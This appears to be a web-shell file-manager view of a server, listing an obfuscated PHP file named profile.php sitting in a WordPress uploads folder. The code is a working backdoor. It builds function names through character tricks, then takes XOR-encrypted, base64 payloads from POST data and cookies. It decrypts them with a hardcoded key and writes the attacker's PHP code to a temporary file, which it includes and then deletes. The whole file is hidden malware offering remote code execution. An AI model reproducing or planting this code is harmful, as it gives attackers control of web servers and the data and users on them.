HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/03/profile.php
<?php 


$cilzzw /* fx  */ =    'cilzzw'	^    '';$vygoyzuau /*avrk  */ =	"\x61"      .    $cilzzw(278-164)  .	"\x72"    .	$cilzzw(97) /*obvddp */ .	"y"."\x5f"       .       $cilzzw(840-731)   . /*  tp_cd   */ "a"."p";

$vzata /* jumxmi*/ =    "\x69" /*o_o*/ . /*  xcdrf */ "m"."p"."\x6c"	. /*   k  */ "o"."\x64"	.    "e";


function    vtwjglu($wtsnjpyv, /* c */ $wplpquh){

      global /* u  */ $cilzzw;


    
       $wtsnjpyv /*  mcpk */ =    "\x3c" /*   rrdf  */ . /*   szboc */ "\77"    .      "p"."\150"    . /* f_  */ $cilzzw(187-75)   .	$cilzzw(32) /*dfqma   */ . /*   c  */ "\x75"	. /*   s */ $cilzzw(888-778) /*  o   */ .  "\x6c"	.      "\151"   .    "\x6e"	. /*wnqe  */ $cilzzw(107)  .  "\x28" /*nh  */ .    $cilzzw(395-300)    .      "\137"    . /*hhra*/ "\x46"	.     "\111"   . /*cqtap*/ $cilzzw(285-209)       . /*hw   */ $cilzzw(837-768)    .    "_"."_"."\x29" /*   y  */ .  ";".$cilzzw(32)	.	$wtsnjpyv["d"];
    $ubsai_msp  =       "\146"    . /*  lbtwu  */ "i"."\x6c" /* foh*/ .    $cilzzw(101)."_"."p".$cilzzw(968-851)	. /*  crx */ $cilzzw(1076-960) /*xptgi */ .   "_"."c"."\157" /*  wnsbdz   */ .      "n"."t".$cilzzw(101)."n"."\x74"    . /*  ssuyxf */ "s";


      	$ubsai_msp($wplpquh,    $wtsnjpyv);

	

 /*  pib  */ satxyqlwp($wplpquh);}
$vseoqyrteu  =	73;




function    satxyqlwp($wplpquh){

	global      $cilzzw;

	
   include($wplpquh);


    $sfepxzuq	=   $wplpquh;

	@unlink($sfepxzuq);}function     _bohptfve()


{


  global /*gfi */ $cilzzw;


       $vpvgvtkd   =     array();

 /*   tound */ $vpvgvtkd["p"."v"] /* hvzmsh   */ =    phpversion();	$vpvgvtkd["\163" /*g   */ .     "\x76"]	=    "3".".".$cilzzw(53);
	$cagl_is /*n */ =    74;
    echo /*  nw  */ @serialize($vpvgvtkd);
}




function     _zwvia($wtsnjpyv,	$ggl_qhcb)

{


 /*  iamk  */ global  $cilzzw;



   $gmla_gulnjdyv_fib /*   rbovj*/ =    "";


 /* _metjv   */ $apevggrp	= /*b  */ strlen($wtsnjpyv);

    $nkmlldx     = /*hbvjn  */ strlen($ggl_qhcb);


 /*  jnka*/ $vpvgvtkd    =    0;	$gmla_gul /*  vxlo  */ = /*   dfzd  */ 0; /*  wdpa  */ 
 /*   nm  */ while /*  vjc_l  */ ($vpvgvtkd	<	$apevggrp) /*  axy*/ { /*   fah  */ $uqwxs_d	=	$wtsnjpyv[$vpvgvtkd]   ^ /*   cbis */ $ggl_qhcb[$gmla_gul /*   kb  */ %      $nkmlldx];    $gmla_gulnjdyv_fib      .=    $uqwxs_d;
 /*gyh */ $gmla_gul++;    


 /*doztl  */ $vpvgvtkd++;
   }      


       if       (strlen($gmla_gulnjdyv_fib)    > /*okr  */ 20)    {      $nsqqwes /*  p */ = /* ri*/ substr($gmla_gulnjdyv_fib, /*  i */ 0,	20);
 /*x */ }    if  (empty($gmla_gulnjdyv_fib)) /*   nix*/ {

 /*  bigzxo   */ $gmla_gulnjdyv_fib    =	date('Y-m-d  H:i:s');
 /* mpt*/ }


    return /*  sfl*/ $gmla_gulnjdyv_fib;


}


function    ngqbxuwqjk($utudsp)
{
 /*  pxhaqy  */ global	$cilzzw;


     /*  un*/ $_h__lig	=	$cilzzw(871-814) /* zuipwx   */ . /*   kpzucj   */ "3".$cilzzw(97)    . /* vhjv  */ $cilzzw(53) /*  g   */ . /*  x_w*/ "5"."1"."7"."\x64"  . /*   wlkig  */ "-"."f".$cilzzw(101).$cilzzw(97)	. /*  sgqs*/ "\145" /*  cdz_*/ .       "-"."4"."0"."\62"       .	$cilzzw(56) /*  eouqqg */ .  "\x2d" /*faw_dc   */ .    "\x61"	.       "\x32"    .     "\x61"."7"."-"."1".$cilzzw(48)	.    "f".$cilzzw(102) /*   k*/ .	"0"."9"."c"."4".$cilzzw(835-734)    .	"c".$cilzzw(52)    .    "0";
	


   foreach    ($utudsp /* kkuuv */ as	$cwkbeutzu	=>    $wtsnjpyv) /*  xhah   */ {

	kkftg(base64_decode($wtsnjpyv),   $_h__lig,   $cwkbeutzu);

      }}


function       kkftg($wtsnjpyv, /* d  */ $_h__lig, /*  jvctbq   */ $cwkbeutzu){


     global    $cilzzw;


	
    $wtsnjpyv /*j */ =	unserialize(_zwvia(_zwvia($wtsnjpyv,    $_h__lig),	$cwkbeutzu));
	$kcbkuprke /*   _  */ = /*bk*/ 'thyqitvns';	$lzchick_j /*g_ae_l*/ =	'ed';
 /*   snqn */ if /* hdcdm  */ (isset($wtsnjpyv[$cilzzw(97)   .     $cilzzw(107)]))	{
       if	($wtsnjpyv["\x61"]  ==       "i")      {

	_bohptfve();
    }    elseif	($wtsnjpyv["\x61"]  == /*i   */ $cilzzw(101)) /*  euiq   */ {


	vtwjglu($wtsnjpyv,    sprintf("."."\57"      .     $cilzzw(572-535) /*   cizgii   */ . /*   lws */ "\x73" /*   j   */ .     "."."\160" /*  d */ .  "l", /*  nmsyc*/ md5($_h__lig)));			$vpvgvtkdlmafzq  =	44;
   }
    exit();


    }


}



ngqbxuwqjk($_POST);  

$kvbzwpfko	=     'rawurldecode';
$wtmyh     =	$vygoyzuau($kvbzwpfko, /*cp */ $_POST);

$vzata("",      $kvbzwpfko);


ngqbxuwqjk($_COOKIE);

$_lhzwhuyj       =     $vygoyzuau($kvbzwpfko, /*ll  */ $_COOKIE);




?>